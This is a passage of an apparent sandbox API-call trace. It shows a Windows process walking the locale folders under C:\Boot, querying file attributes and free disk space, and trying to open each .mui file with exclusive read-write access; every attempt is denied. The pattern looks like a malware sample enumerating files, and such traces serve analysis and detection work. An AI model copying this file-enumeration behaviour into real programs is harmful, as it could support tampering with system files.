RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.912] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0095.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.915] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\cs-CZ", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.916] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0095.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.916] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0095.916] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.916] GetLastError () returned 0x5 [0095.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.917] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0095.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.919] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\da-DK", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.920] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0095.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.920] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0095.920] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.920] GetLastError () returned 0x5 [0095.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.921] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0095.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.923] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\de-DE", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.924] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0095.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.924] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0095.924] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.924] GetLastError () returned 0x5 [0095.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.925] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0095.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.927] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\el-GR", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.928] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0095.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.928] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0095.928] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.928] GetLastError () returned 0x5 [0095.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.931] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0095.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.933] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.934] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0095.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.934] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0095.934] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.934] GetLastError () returned 0x5 [0095.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.935] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0095.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.937] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.938] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0095.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.938] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0095.938] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.938] GetLastError () returned 0x5 [0095.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.939] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0095.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.941] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\es-ES", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.942] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0095.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.942] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0095.942] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.942] GetLastError () returned 0x5 [0095.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.943] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0095.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.945] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fi-FI", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.946] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0095.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.946] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, 